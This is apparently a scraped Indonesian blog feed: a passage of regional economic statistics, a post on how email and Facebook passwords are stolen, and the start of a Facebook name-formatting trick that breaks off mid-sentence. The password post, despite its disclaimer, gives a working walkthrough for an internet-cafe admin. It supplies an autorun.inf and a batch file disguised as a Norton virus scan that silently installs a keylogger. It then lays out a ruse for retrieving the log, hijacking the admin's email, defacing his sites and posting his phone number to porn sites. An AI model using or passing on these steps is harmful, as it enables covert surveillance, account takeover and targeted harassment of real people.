cengkeh, pala, coklat, jambu mete dan kopi. Kelapa dan kopi terdapat di empat kecamatan, sedangkan cengkeh, pala coklat serta jambu mete banyak dihasilkan dari kecamatan Kairatu.</span><span style="font-family: arial;font-size:100%;" class="Apple-converted-space" > </span><span style="font-family: arial;font-size:100%;" ><br /><br />Populasi ternak besar yang paling banyak adalah Sapi. Jumlah Sapi mencapai 1.075 ekor tersebar di empat kecamatan. Ternak Babi banyak terdapat Kairatu dan seram Barat; Babi di Kairatu mencapai 780 ekor dan di Seram Barat mencapai 200 ekor. Kambing tersebar di semua kecamatan sedangkan unggas hanya terdapat di Kairatu, Seram Barat dan Huamual Belakang.</span><span style="font-family: arial;font-size:100%;" class="Apple-converted-space" > </span><span style="font-family: arial;font-size:100%;" ><br /><br />Hasil perikanan laut lebih banyak jika dibandingkan perikanan darat. Total perikanan laut tahun 2006 mencapai 17.257,3 ton, banyak dihasilkan dari Seram Barat. Sementara hasil perikanan darat 6,6 ton. Hasil perikanan darat terbanyak berasal dari kecamatan Taniwal.</span><span style="font-family: arial;font-size:100%;" class="Apple-converted-space" > </span><span style="font-family: arial;font-size:100%;" ><br /><br />Kontribusi sektor ekonomi terbesar kedua adalah industri pengolahan. Kontribusi sektor ini mencapai Rp 60,3 milyar lebih atau sekitar 23.48 persen dari PDRB. Kontribusi terbesar ketiga adalah sektor perdagangan, hotel dan restoran dengan nilai ekonomi Rp 55,17 milyar lebih (21,46%). Tiga jenis usaha dagang yang ada di Kabupaten Seram Bagian Barat yaitu pedagang kecil (349 usaha), pedagang menengah (359 usaha) dan pedagang besar (68 usaha).</span><span style="font-family: arial;font-size:100%;" class="Apple-converted-space" > </span><span style="font-family: arial;font-size:100%;" ><br /><br />Konsentrasii pedagang kecil banyak terdapat di Kairatu dengan jumlah pedagang 235 usaha, sedangkan pedagang berukuran sedang dan besar di Kecamatan Kairatu yaitu 171 ukuran sedang dan 25 usaha ukuran besar sedangkan di Seram Barat terdapat 145 usaha dagang ukuran sedang dan 40 usaha dagang ukuran besar.</span><span style="font-family: arial;font-size:100%;" class="Apple-converted-space" > </span><span style="font-family: arial;font-size:100%;" ><br /><br />Adapun jumlah akomodasi berupa hotel dan penginapan, sangat terbatas yaitu 1 unit hotel dengan 17 kamar dan 17 tempat tidur dan 7 penginapan yang menyediakan 51 kamar dan 63 tempat tidur. Semuanya ini juga menjadi saran pendukung bagi wisata baik yang bersifat bahari, sejarah, alam dan budaya.</span><span style="font-family: arial;font-size:100%;" class="Apple-converted-space" > </span><span style="font-family: arial;font-size:100%;" ><br /><br /><br /></span><br /></div></div></span></span>Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com0tag:blogger.com,1999:blog-7934653146360007498.post-33021518773593322892010-08-10T04:55:00.000-07:002010-08-10T04:59:48.927-07:00Gimana sih Cara mengambil email/Facebook orang...??<span style="font-weight: bold;">Gimana sih Cara mengambil email/Facebook orang...?? </span><br />silahkan pelajari hal2 dibawah ini.<br /><br />Satu hal yang harus di ketahui,ini artikel Bukan untuk mengajari kalian berbuat jahat,<br />Tapi agar kalian tahu dan mengerti dari pada Sang Hacker dapat mengambil ahli Facebook/email Bahkan kartu credit Kamu.<br />Sebenarnya sih Ada banyak cara untuk mendapatkan suatu password. Beberapa diantaranya tidak membutuhkan keahlian khusus. <br /><br />Berikut adalah cara-cara yang paling umum dan paling sering digunakan:<br /><br />[1]. Social Engineering<br />[2]. KeyLogger<br />[3]. Web Spoofing<br />[4]. Menghadang Email<br />[5]. Password Cracking<br />[6]. Session Hijacking<br />[7]. Menjadi Proxy Server<br />[8]. Memanfaatkan Kelalaian User Dalam Penggunaan Fitur Browser<br />[9]. Googling<br />[10]. Social Engineering<br /><br />Social Engineering adalah nama suatu tehnik pengumpulan informasi dengan<br />memanfaatkan celah psikologi korban. Atau mungkin boleh juga dikatakan sebagai<br />“penipuan” :P Sosial Engineering membutuhkan kesabaran dan kehati-hatian agar<br />sang korban tidak curiga. Kita dituntut untuk kreatif dan mampu berpikiran<br />seperti sang korban.<br /><br />Social Engineering merupakan seni “memaksa” orang lain untuk melakukan sesuatu<br />sesuai dengan harapan atau keinginan anda. Tentu saja “pemaksaan” yang<br />dilakukan tidak secara terang-terangan atau diluar tingkah laku normal yang<br />biasa dilakukan sang korban.<br /><br />Manusia cenderung untuk percaya atau mudah terpengaruh terhadap orang yang<br />memiliki nama besar, pernah (atau sedang berusaha) memberikan pertolongan,<br />dan memiliki kata-kata atau penampilan yang meyakinkan. Hal ini sering<br />dimanfaatkan pelaku social engineering untuk menjerat korbannya. Seringkali<br />sang pelaku membuat suatu kondisi agar kita memiliki semacam ketergantungan<br />kepadanya.Ya,tanpa kita sadari dia mengkondisikan kita dalam suatu masalah dan<br />membuat ( seolah – olah hanya ) dialah yang bisa mengatasi masalah itu. Dengan<br />demikian,tentu kita akan cenderung untuk menuruti apa yang dia instruksikan<br />tanpa merasa curiga.<br /><br />Sosial Engineering adakalanya menjadi ancaman serius. Memang sepertinya tidak<br />ada kaitan dengan teknologi, namun sosial engineering tetap layak diwaspadai<br />karena bisa berakibat fatal bagi sistem anda. Why?? Karena bagaimanapun juga<br />suatu komputer tetap saja tidak bisa lepas dari manusia. Ya, tidak ada satu<br />sistem komputerpun di muka bumi ini yang bisa lepas dari campur tangan<br />manusia. ehebat apapun pertahanan anda, jika anda sudah dikuasai oleh attacker<br />melalui social engineering, maka bisa jadi anda sendirilah yang membukakan<br />jalan masuk bagi sang attacker.<br /><br /># Contoh Social Engineering sederhana:<br />Baca Attachment[Pembalasan Untuk Sang Admin - SOcial Engineering]<br /><br />[2]. KeyLogger<br /><br />KeyLogger adalah software yang dapat merekam aktivitas user. Hasil rekaman itu<br />biasa disimpan berupa teks atau gambar. KeyLogger bekerja berdasarkan ketukan<br />keyboard user. Aplikasi ini mampu mengenali form-form sensitif seperti form<br />password misalnya.<br /><br />Ada cara aman untuk menghindari keyloger:<br />1. Gunakan password dengan karakter special seperti !@#$%^&*(){}[]. Kebanyakan<br />keyloger akan mengabaikan karakter ini sehingga sang pelaku (pemasang<br />keyloger) tidak akan mendapatkan password anda yang sebenarnya.<br /><br />2. Persiapkan password dari rumah, simpan dalam bentuk teks. Saat ingin<br />memasukkan password, tingal copy-paste ajah. Keyloger akan membaca password<br />anda berdasarkan ketukan keyboard. Namun cara ini agak beresiko. Mengapa?<br />karena saat anda melakukan copy, data anda akan tersimpan di clipboard. Saat<br />ini banyak dijumpai software-software gratis yang bisa menampilkan data dalam<br />clipboard.<br /><br />[3]. Web Spoofing<br /><br />Masih ingat kasus pecurian Account sejumlah nasabah Bank BCA? Ya, itulah salah<br />satu contoh nyata dari Web spoofing. Inti dari tehnik ini ialah dengan<br />memanfaatkan kesalahan user saat mengetikkan alamat situs pada address bar.<br />Pada dasarnya, Web Spoofing adalah usaha untuk menipu korban agar mengira dia<br />sedang mengakses suatu situs tertentu, padahal bukan.<br /><br />Pada kasus bank BCA, pelaku membuat situs yang sangat mirip dan identik dengan<br />situs aslinya sehingga sang korban yang terkecoh tidak akan merasa ragu<br />mengisikan informasi sensitif seperti user name dan Passwordnya. Padahal,<br />karena situs tersebut adalah situs tipuan, maka semua informasi berharga tadi<br />terekam oleh webserver palsu, yaitu milik sang pelaku.<br /><br />[4]. Menghadang Email<br /><br />Menghadang email? Ya, dan sangat mudah untuk melakukan hal ini. Salah satu<br />cara adalah dengan menggunakan mailsnarf yang terdapat pada utility dsniff.<br />Cara kerja Mailsnarf adalah dengan menghadang paket data yang lewat di<br />Internet dan menyusunnya menjadi suatu email utuh.<br /><br />Dsniff dan mailsnift merupakan software bekerja atas dasar WinPcap (setara<br />dengan libcap pada Linux) yaitu suatu library yang menangkap paket-paket data.<br />Paket-paket yang ditangkap ini akan disimpan dalam bentuk file oleh Windump,<br />sedangkan Dsniff dan MailSnarf bertindak lebih jauh lagi yaitu menganalisa<br />paket-paket data ini dan menampilkan password (dsniff) atau isi email<br />(mailsnarf).<br /><br />Baca artikel terkait pada arsip lama :)<br /><br />[5]. Password Cracking<br /><br />“Hacking while sleeping.” itulah ungkapan yang biasa dipakai oleh orang-orang<br />yang melakukan password cracking. Mengapa? Karena pada umumnya dibuthkan waktu<br />yang lama untuk melakukan pasword cracking. Bisa berjam-jam, bahkan berhari -<br />hari! Semua itu tergantung dari target, apakah sang target menggunakan<br />password yang umum, password memiliki panjang karakter yang tidak biasa, atau<br />password memiliki kombinasi dengan karakter-karakter special.<br /><br />Salah satu software yang biasa digunakan untuk melakukan hal ini ialah dengan<br />mengunakan Brutus, salah satu jenis software remote password cracker yang<br />cukup terkenal. Brutus bekerja dengan teknik dictionary attack atau<br />bruce-force attack terhadap port-port http, POP3,ftp, telnet, dan NetBIOS.<br /><br />Dictionary Attack bekerja dengan mencobakan kata-kata yang ada dalam kamus<br />password. Sedangkan brute – force attack bekerja dengan mencobakan semua<br />kombinasi huruf, angka, atau karakter.<br /><br />Brute Force Atack bekerja sangat lambat dan membutuhkan waktu yang lama<br />tergantung dari jenis spesifikasi komputernya dan panjang karakter<br />passwordnya. Saat ini telah banyak situs yang menutup akses terhadap akses<br />terhadap usaha login yang secara terus-menerus tidak berhasil.<br /><br /><br />[6]. Session Hjacking<br /><br />Session hijacking dewasa ini semakin marak dikalangan para attacker. Session<br />Hijacking biasa dilakukan dengan melakukan peniruan cookies. Jadi pada<br />intinya, kita harus bisa meniru cookies sang korban untuk mendapatkan sesi<br />loginnya.<br /><br />Lalu bagaimana cara mendapatkan cookies sang korban?<br />1. Dengan analisa Cookies. Cara ini relatif sulit dilakukan.<br />2. Mencuri Cokies.<br />Misalnya Sang Attacker ingin mendapatkan account si A. Sang Attacker bisa<br />dengan mudah membuat semacam script Java Script yang disisipkan dalam email<br />untuk dikirim ke korban.Saat korban membuka email itu, tanpa sadar cookiesnya<br />akan dicuri dan direkam ke suatu webserver dengan memanfaatkan suatu script<br />PHP.<br /><br />Belakangan ini yang paling sering menjadi incaran adalah account Friendster.<br />Ada yang menyisipkan suatu scipt lewat testimonial, ada yang menyisipkannya di<br />profilnya sendiri untuk mencuri cookies sang korban dan lain sebagainya. Saya<br />memiliki tips untuk ini:<br /><br />1. Jangan menggunakan browser InternetExplorer saat ingin membuka profil orang<br />lain. Catat alamat profil yang ingi anda lihat,logout terlebih dahulu dari<br />account anda dan bersihkan semua cookies, baru kemudian bukalah profil<br />Friendster tujuan.<br />2. Ketika menerima testimonial, periksa terlebih dahulu source codenya. Apakah<br />disana terdapat script asing atau kata-kata yang identik dengan pembajakan<br />seperti : “HACKED”, “DEFACED”, “OWNED”.. dll.. Jika ragu-ragu……. reject<br />ajah..<br />3. Waspada ketika tanpa suatu alasan yang jelas tiba-tiba anda logout dengan<br />sendirinya dari account anda. Saat anda diminta memasukkan username dan<br />password, lihat dulu addressbar anda! apakan anda sedang berada di situs<br />yang semestinya atau tidak. Periksa source code halaman tersebut.Lihat pada<br />form action, kemana informasi anda nantinya akan dikirim.<br /><br />Sebenarnya session hijacking bisa dicegah jika saja sang penyedia layanan<br />memperhatikan hal-hal berikut:<br /><br />1. Menetapkan session identifier yang unik<br />2. Menetapkan sistem identifier berpola acak<br />3. Session identifier yang independen<br />4. Session identifier yang bisa dipetakan dengan koneksi client side.<br /><br />Fenomena lain adalah,hingga saat artikel ini diterbitkan,ternyata masih banyak<br />dijumpai para user yang tidak melakukan sign out setelah membuka accountnya.<br />Dengan demikian, orang lain yang mengunakan komputer itu dan membuka website<br />yang sama dengan yang telah dibuka oleh orang pertama akan otomatis login ke<br />account sang korban.<br /><br />[7]. Menjadi Proxy Server<br /><br />Kita bisa mengumpulkan informasi dengan menjadi proxy server bagi korban<br />untuk dapat berselancar. Dengan menjadi proxy server, seluruh identitas sang<br />peselancar bisa menjadi milik kita.<br /><br />[8]. Memanfaatkan Kelalaian user dalam penggunaan fitur browser<br /><br />Setiap browser tentunya memiliki fitur yang ditujukan untuk kemudahan dan<br />kenyamanan penggunanya dalam berselancar. Diantaranya ialah dengan adanya<br />cache dan Password Manager.<br /><br />Di Internet tentunya banyak suatu website yang isinya tidak berubah dalam<br />beberapa hari (Contohnya spyrozone.net nich.. hehehe ;) Nah, untuk situs yang<br />seperti ini cache menjadi hal yang sangat berguna. Cache akan menyimpan<br />file-file hasil browsing sehinga nantinya jika anda berkunjung lagi ke situs<br />tersebut browser tidakperlu lagi melakukan download untuk kedua kalinya dari<br />server sehingga setiap halaman situs yang telah anda buka sebelumnya akan<br />terbuka dengan lebih cepat. Semua itu biasanya diatur oleh header time to<br />live.<br /><br />Lho, bagaimana dengan situs-situs penyedia berita yang selalu up to date?<br />Untuk site yang seperti itu, time to live-nya akan di set=0 sehinga nantinya<br />anda akan terus melakukan download setiap kali berkunjung.<br /><br />Cukup nyaman bukan? Ya, tapi ancaman mulai timbul. Cobalah kini anda jelajahi<br />opsi-opsi yang berkaitan dengan cache pada browser anda. Tentu anda bisa<br />menemui bahwa ada fasilitas untuk menentukan berapa besarnya file temporary<br />yang bisa disimpan di harddisk. Cari juga lokasi dimana file-file tersebut<br />akan disimpan.<br /><br />Coba anda buka folder tersebut, anda akan menemui file-file html & file-file<br />gambar dari site-site yang sudah anda kunjungi. Pada Browser IE, anda bisa<br />melihat lokasi file cache dengan menjelajahi menu Tools —> Internet options<br />—> Settings<br /><br />Lalu apa yang bisa didapatkan?? toh cuma file-file “sampah”?? Hmm… sekarang<br />coba anda copy semua file yang ada di sana ke suatu folder. Lalu bukalah<br />salah-satu file htmlnya. Jika itu komputer publik,anda bisa mengetahui situs<br />apa saja yang telah diakses oleh oleh orang sebelum anda.<br /><br />Hmm.. hanya dengan melihat file temporary anda bahkan bisa melihat password<br />dan dll.Banyak saya temui situs yang menyimpan password dan menampilkannya<br />pada url. Tentunya anda juga pasti sering membacanya di berbagai tutorial.<br /><br />Kebanyakan browser pada saat ini memiliki fasilitas untuk menyimpan password.<br />Misalnya saat meggunakan Mozilla Firefox, anda pasti sering menerima kotak<br />dialog konfirmasi yang menanyakan apakah anda ingin password anda disimpan<br />atau tidak oleh PasswordManager.Kebanyakan user cenderung untuk memilih opsi<br />YES, entah itu dengan penuh kesadaran atau memang mereka tidak tau ( baca:<br />tidak mau tau) apa maksud dari kotak dialog itu.<br /><br />Orang lain yang kemudian mengunakan browser itu bisa dengan sangat mudah<br />mendapatkan password korban dengan memasuki menu Tools —> Options —><br />Security –> Saved password.<br /><br />Contoh lain adalah fasilitas wand password yang dimiliki oleh browser Opera.<br />Saat anda memasukkan user name dan password pada suatu form dan menekan<br />tombol submit, opera secara default akan meminta konfirmasi kepada anda<br />apakah anda ingin browser menyimpan id dan password anda atau tidak. Lagi dan<br />lagi… kebanyakan netter ceroboh, mereka cenderung untuk memilih opsi “YES”.<br /><br />Lalu?? Orang lain yang kemudian menggunakan browser itu bisa melihat<br />situs apa saja yang telah diakses oleh user, arahkan browser ke situs<br />tersebut, letakkan cursor pada form isian user name, tekan [ALT]+[ENTER] dan<br />BOOOMM!!!! Kenapa?? Jangan kaget dulu!! Hehehe.. form login akan otomatis<br />terisi dengan user name korban lengkap dengan passwordnya ;D (It’s fun<br />enough.. ;)<br /><br />Ini hanya sebagian kecil contoh, jelajahi fitur-firtur browser lain!<br /><br />[9]. Googling<br /><br />Google.com. Banyak sudah situs yang runtuh, password dan nomor – nomor kartu<br />kredit yang dicuri akibat dari ulah orang yang menyalahgunaan kesaktiannya ;)<br />Dahulu, hal ini mudah dilakukan.Hanya dengan mengetikkan kata kunci tertentu<br />yang berkaitan dengan user name dan password, anda bisa memanen ratusan<br />password user melalui google. Tapi sekarang tampaknya anda harus gigit jari<br />jika menggunakan cara diatas ;D<br /><br />Jangan sedih dulu karena Google baru saja menelurkan produk barunya, yaitu<br />Google Code Search. Ancaman baru mulai timbul, “si pintar” ini kini dapat<br />meng-crawl hingga kepada archive file yang berada di public directory web<br />server. Hati-hati yang punya kebiasaan untuk menyimpan informasi penting di<br />dalamnya (password, dan info berharga lainnya) Sebaiknya mulai sekarang<br />kebiasaan itu dihilangkan. Selalu proteksi folder-folder yang sensitif agar<br />situs anda bisa hidup lebih lama. Kalo nggak… yach.. tunggu ajah ada orang<br />yang memanfaatkan produk baru google ini untuk mengeruk informasi sensitif<br />dari web server anda. dan jika itu sudah terjadi… maka bersiaplah.. “taman<br />bermain” anda akan diambil alih olehnya..<br /><br />|—[Table of Contents<br /><br />1. Introduction<br />2. Serangan pertama<br />3. Serangan kedua<br />4. Hari pembalasan<br />5. Cara pencegahan<br />6. Penutup<br /><br />1. Introduction<br /><br />Semakin paranoidnya para admin belakangan ini menyebabkan banyak pengguan jasa<br />layanan internet cafe (warnet) menjadi kurang nyaman. Restriction (pembatasan)<br />disana-sini (walaupun semua itu dilakukan bukan tanpa alasan) menjadi salah<br />satu inspirasi bagi banyak orang untuk mencari-cari cara menerobos segala<br />keterbatasan itu dan saling men-share pengetahuan mereka. Berbagai jenis<br />exploit pun dibedah, didiskusikan dan dikemas menjadi artikel untuk para<br />newbie.<br /><br />Sejenak para newbie bisa tertawa puas, berjaya, senyum-senyum sendiri sampai<br />tak jarang lupa diri :P Namun semua itu tentunya tidak bertahan lama. Admin<br />menjadi semakn pintar. Fasilitas Floppy drive dan CD room drive dihapus dan<br />melarang user untuk melakukan segala bentuk transfer file dari media<br />penyimpanan sementara (disket, cd, flashdisk) kecuali melalui server terlebih<br />dahulu. Ini merupakan fenomena yang akhir-akhir ini bisa kita temui dengan<br />mudah di berbagai Internet cafe. Admin mulai rajin mengupdate path sehingga<br />exploit-exploit yang dulu dibangga-banggakan oleh kaum newbie menjadi<br />"rongsokan" tak berguna.<br /><br />Sekarang, mari kita bangunkan sang admin dari mimpi indahnya untuk menunjukkan<br />bahwa menjadi paranoid itu adakalanya tidak baik dan tidak ada system yang<br />100% secure.<br /><br />2. Serangan pertama<br /><br />Kita akan menjadi seorang "agen mata-mata" (hehehe.. gw pake istilah ini biar<br />ente merasa agak sedikit keren) yang akan merekam segala aktivitas sang admin.<br />Tujuannya.. banyak! dan salah satunya seperti hal yang banyak diinginkan<br />orang... mendapatkan password sang admin. Partner kita kali ini adalah<br />navw32.exe, sebuah keyloger dengan icon Norton AntiVirus yang bisa kamu<br />dapatkan suka-suka dengan harga cuma-cuma di halaman member www.spyrozone.net<br />kategori Keyloger. Setelah kamu download keyloger tersebut, ikuti langkah -<br />langkah berikut:<br /><br />---[1 Bukalah Notepad kemudian ketik baris script berikut:<br /><br />[autorun]<br />open=nav.bat<br /><br />Klik [file][save] kemudian pada box save as type, pilih All Files dan pada<br />form isian name beri nama Autorun.inf lalu klik tombol [save].<br /><br />—[2 Buka lembar baru pada notepad dengan klik menu [file] [new] lalu ketik<br />script berikut:<br /><br />@echo off<br />echo Norton Antivirus 2006<br />echo Scanning disk drive…<br />echo Please wait…<br />copy navw32.exe %windir%\navw32.exe<br />call %windir%\navw32.exe<br />echo.<br />echo.<br />echo.<br />echo.<br />echo.<br />echo.<br />echo.<br />echo. Scanning complette! No virus threat detected!<br />echo.<br />cls<br /><br />Klik [file][save] kemudian pada box save as type, pilih All Files dan pada<br />form isian name beri nama nav.bat lalu klik tombol [save].<br /><br />—[3. Persiapkan beberapa file microsoft word documents (bisa diganti dengan<br />file lain) sebagai tipuan/alasan untuk di transfer. Semakin banyak file,<br />semakin baik karena file keyloger kamu akan semakin tersamarkan.<br /><br />—[4. Persiapkan sebuah cd kosong (bekas juga boleh) lalu bakar semua file<br />diatas (autorun.inf, nav.bat, navw32.exe dan file-file tipuan) kedalam CD.<br /><br />Sekarang pergilah ke warnet tempat sang admin berkuasa. Bersikaplah seperti<br />biasa dan jangan gugup selayaknya para koruptor yang sering nampang di<br />satasion-stasion TI-PI tanpa rasa malu. Setelah kamu login ke billing komputer<br />user, datangi sang admin. Katakan pada beliau, “Mas/mbak/om/tante/, mau<br />transfer file dari cd ini. Nama filenya blablabla tolong dikirim ke komputer<br />nomor blablabla.”<br /><br />Begitu CD dimasukkan, saat itulah terjadi sebuah fenomena berikut:<br />Komputer akan memproses file autorun.inf secara otomatis —> file autorun.inf<br />akan memproses file nav.bat —> file nav.bat akan menduplikasi file<br />navw32.exe ke dalam directory windows dan mengaktivkannya —> Keyloger telah<br />terinstall, hasil rekamannya akan tersimpan di directory yang sama dengan nama<br />navw32.dll beratribut hidden.<br /><br />Perlu diketahui bahwa keyloger ini tidak akan menampilkan kotak dialog dalam<br />bentuk apapun! So, nggak usah khawatir bakal ketahuan ;)<br /><br />Sekarang, kamu bisa pulang dengan wajah tanpa dosa dan mungkin (lagi – lagi)<br />kamu bakalan senyum-senyum sendiri sambil mengelus-elus jenggot kayak habis<br />menang togel.<br /><br />Lalu bagaimana cara mengambil file hasil rekaman keyloger di directory windows<br />sang admin? Ikuti langkah-langkah pada serangan kedua.<br /><br />3. Serangan kedua<br /><br />Dua hari Kemudian, datanglah ke warnet itu lagi. Bertingkahlakulah secara<br />wajar dan beraktivitas seperti layaknya user biasa. Setelah selesai<br />berinternet ria, datangi sang admin, bayarlah biaya browsing seperti biasa<br />lalu dengan wajah sangat-sangat memelas seperti pengemis di jalanan :) katakan<br />pada beliau,”Mas/mbak/om/tante/, komputer saya bermasalah neeh. Menurut pesan<br />Error yang muncul, file navw32.dll yang berada di directory windows hilang.<br />File tersebut beratribut hidden. Tolong doong copykan dari komputer ini.<br />Kebetulan versi windowsnya sama dengan komputer saya..”<br /><br />Tentu saja biasanya sang admin dengan sangat senang hati akan membantu kamu.<br />Dengan suka rela dan penuh kesadaran beliau akan mengaktifkan opsi Show All<br />files pada Folder Options dan mengcopy-kan file navw32.dll dari directory<br />windows tanpa menyadari bahwa file tersebut bukan file system, namun file<br />hasil rekaman keyloger.<br /><br />Berikan disket/cd/flashdisk mu dan setelah file tersebut tersimpan, ucapkan<br />beribu terima kasih lalu pulanglah ke rumah. Buka file tersebut di rumah. Klik<br />2x pada file lalu ketika muncul kotak dialog open with, klik opsi select<br />program from a list dan pilih notepad pada daftar program yang ditampilkan.<br />Sekarang tentunya kamu bisa leluasa membaca rekaman aktivitas sang admin. Cari<br />password emailnya dan kamu bisa menuju pada hari pembalasan.<br /><br />4. Hari Pembalasan<br /><br />Pilih hari yang tepat, misalnya malam jum’at kliwon dimana sang admin mungkin<br />sedang terlelap di rumahnya. Nyalakan komputermu dan connectlah ke Internet.<br />Namun ada baiknya kamu lakukan hal ini di warnet agar lebih aman. Carilah<br />warnet yang buka 24 jam.<br /><br />Berbekal hasil rekaman keyloger tadi, loginlah ke account email sang admin.<br />Setelah puas menjelajahi emailnya, subscriblah ke berbagai mailing list besar<br />dengan email tersebut. Subscribe sebanyak-banyaknya.<br /><br />Hohoho.. lalu apa lagi nich?? Kalau sang admin punya blog/website pribadi/<br />account Friendster.. tentu kamu dengan mudah mendapatkan semua password itu<br />dengan fasilitas forgot password. Kebanyakan penyedia layanan seperti itu akan<br />mengirimkan password via email. So, setelah dapat semuanya… heheh… DEFACE<br />ajah ;) Tapi inget lho, halaman lama harus tetap di backup dan jangan merubah<br />password apapun!!<br /><br />Ada ide yang sedikit lebih sadis (ini cuma ide lho.. sebaiknya jangan<br />dilakukan deech..). Daftarkan emailnya ke berbagai situs – situs porno dan<br />postinglah sebuah pesan singkat, memikat dan “mematikan”. Berikut contohnya<br />jika milis tersebut berbahasa Indonesia:<br /><br />Dear all..<br />gwe lagi nafsu berat neeh, burun telepon gwe doong sekarang juga!! neeh no<br />telp gwe: 021-blablabla (masukkan no telp sang admin)<br />gwe tunggu 24 jam lho!!<br /><br />Atau terserah kamu laah.. saya rasa kamu lebih pintar dalam memilih kata- kata<br />yang yahuud!! ;D<br /><br />Maka bisa dipastikan malam itu akan menjadi malam jumat kliwon paling<br />mengerikan bagi sang admin, lebih mengerikan daripada film-film horor manapun!<br />Telepon rumahnya akan berdering tanpa henti dibanjiri oleh telepon dari dalam<br />dan luar negeri dengan maksud pembicaraan yang sudah bisa ditebak apa<br />maksudnya ;D<br /><br />Keesokan harinya, setelah menghadapi malam paling mengerikan itu, sang admin<br />akan kaget 1/2 hidup 1/2 mati mendapati inboxnya penuh dengan email-email dari<br />berbagai milis yang beliau sendiri tidak merasa pernah bergabung dengan<br />milis-milis itu. Dan bisa jadi, saat beliau sedang sibuk Unsubcribe dari<br />milis-milis tersebut, telepon rumahnya masih terus – terusan menjerit – jerit<br />dengan jeritan indah :D<br /><br />5. Pencegahan<br /><br />Jika kamu adalah admin yang tidak mau mengalami nasib seperti diatas, maka<br />setiap kamu menerima CD dari siapapun..<br />1. Buka windows explorer<br />2. Tekan-tahan tombol shift sambil memasukkan CD kedalam CD Room dRive.<br />3. Setelah CD masuk,tetap tekan tombol shift sampai kira-kira 25 detik.Setelah<br />itu kamu bisa melepas tombol shift dan mengaksesnya melalui panel sebelah kiri<br />windows Explorer. Klik pada area folder tree, jangan pada daftar drive sebelah<br />kanan karena fitur autorun akan aktif.<br /><br />Pesan Saya JGN terlalu percaya seseorang dengan Muka yang Polos atau tidak berdosa,,, Karena di Balik Mukanya itu anda tidak tau siapa sebenarnya Dia... Semoga bermanfaat dan tgg artikel berikutnya yah.Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com0tag:blogger.com,1999:blog-7934653146360007498.post-79922214030265006902010-07-21T08:27:00.000-07:002010-08-10T04:51:41.123-07:00Membuat nama panjang, ANEH,UNIK,di Facebook PART IICARANYA SAMA DENGAN PART I CUMAN BEDANYA,, KAMU BACA DULU DEH DI BAWAH. <br /><br />Kenyataan selama ini, setiap spasi nama hanya diperbolehkan maksimal ada 2 huruf kapital oleh sistem otomatis Facebook. Tapi sekarang bukanlah hal mustahil lagi untuk mengubah semua huruf nama menjadi huruf kapital. Buktinya ada pada nick saya.<br /><br />Saya menjelaskan ini sesuai dengan pengalaman saya memodifikasi nick sendiri.<br /><br />Nick saya terdiri dari 3 spasi nama (awal, tengah dan akhir)<br /><br />Kondisi sebelum keluruhannya menjadi huruf kapital :<br /><br />Nama awal : Dowura-aLhyidjahnur’firmminded (30 karakter)<br />Nama tengah : Donotneedtoalways-Exaggerated (29 karakter)<br />Nama akhir : RememberintheskythereismoreSky (30 karakter)<br /><br />1. Nama Awal<br /><br />Saya menginginkan huruf m pd kata “minded” menjadi M kapital dan saya menggunakan huruf kapital biasa, kemudian enter dan konfirm, akan tetapi ditolak oleh sistem, “terlalu banyak memuat huruf besar”, gitulah kalau sistem lagi ngambek.<br />Kemudian saya coba untuk mengambil M kapital pada character Map tepatnya pada font verdana. awalnya saya memilih M pd deretan ke-3 dr atas, tp masih ditolak. saya turun lg ke bawah cari character M berada pd deret 19 dr atas, masih ditolak lg oleh sistem. saya cari lagi karakter M turun ke bawah dan ada di deret 23, kali ini barulah diterima oleh sistem (seia sekata).<br />Sekarang nama awal saya memiliki 3 huruf kapital. Tapi ada lg keinginan utk mengganti huruf “a” menjadi “A”pd kata “aLhidjahnur”. saya gunakan huruf kapital biasa, bukan dari chart map, kemudian enter, konfirmasi dan ternyata diterima. saya belum puas lagi, sekaligus saya ubah semua huruf kecil pd nama awal menjadi kapital, kemudian enter, konfirmasi, ternyata diterima dan nama awal saya berubah menjadi deretan huruf kapital. (DOWURA-ALHYIDJAHNUR’FIRMMINDED)<br /><br />2. Nama Akhir<br /><br />Langkah selanjutnya, saya menambahkan huruf kapital pada nama akhir tanpa menggunakan huruf dari chart map, tp ditolak. Saya gunakan huruf chart map dengan mengganti huruf “o” menjadi “O”, awalnya di tolak, ke langkah berikutnya ditolak lagi, barulah langkah ketiga diterima. Dagdigdug jg rasanya. Kmudian saya coba lagi ubah huruf lainnya tanpa menggunakan dari chart map, tp di tolak....”terlalu banyak huruf besar”, gitu lagi sistem FB menggerutu. Saya ambil huruf kapital lain dari chart map, diterima oleh sistem tapi nama akhir berkurang 1 huruf..........wakakakakakak ke mana larinya 1 huruf itu, saya jg nggak tau. Saya kembalikan ke kondisi normal, huruf o td saya ubah jd kecil, barulah huruf yang hilang tadi kembali nongol.<br />Tanpa mikir panjang, saya lakukan seperti langkah mengubah huruf pada nama awal. saya ganti huruf “m” pd kata “more” menjadi “M” dgn mengunakan chart Map pada font verdana di deretan 23, keudian enter, konfirm, diterima (mesrah lagi dengan sistem FB).<br />langkah selanjutnya saya tes utk mengubah lg 1 huruf jd kapital tanpa chart map, dan berhasil (mesrah terus). Dan langkah berikutnya saya ubah smua huruf kecil menjadi kapital, lalu enter, kemudian konfirmasi, sambil tutup mata dag....dig....dug, pelan-pelan intip layar komputer, horreee... nama akhir saya berubah jd deretan huruf kapital (REMEMBERINTHESKYTHEREISMORESKY) .<br /><br />3. Nama Tengah<br /><br />Sepertinya nggak teratur ya, kok nama tengah dimodifikasi paling akhir. sudah saya bilang dari awal, bahwa saya jelaskan ini sesuai dengan pengalaman saya. Kalau teman2 melakukannya lebih tersusun dari nama awal, nama tengah kemudian nama akhir, itu sah sah sj dan boleh dicoba. saya menjelaskan ini sebenarnya hanya utk mengungkap kedahsyatan dari karakter “M” pd chart map di font verdana deretan 23. Karakter itulah yg bisa mengelabui sistem otomatis FB, sehingga apabila kita memodifikasi nick jd huruf kapital maka semuanya diterima. ini hanya menurut perkiraan saya saja tapi terbukti kok, nama saya berubah jadi huruf kapital krn atas bantuan karakter “M” itu. tp mudah2an masih ada karakter lain di chart map yg lebih ampuh lagi, dan sekarang tinggal bagaimana kita melakukan percobaan.<br /><br />Lanjut, sekarang sisa nama tengah blm saya modifikasi. dan di dalamnya tdk ada huruf m. saya blm menggunakan karakter M seperti langkah2 sebelumnya. saya hanya ingin memastikan apakah ada karakter selain M dari chart map yg bs mengelabui sistem. saya coba satu persatu, awalnya diterima sih, tp menambahkan huruf kapital berikutnya selalu ada omelan dari sistem 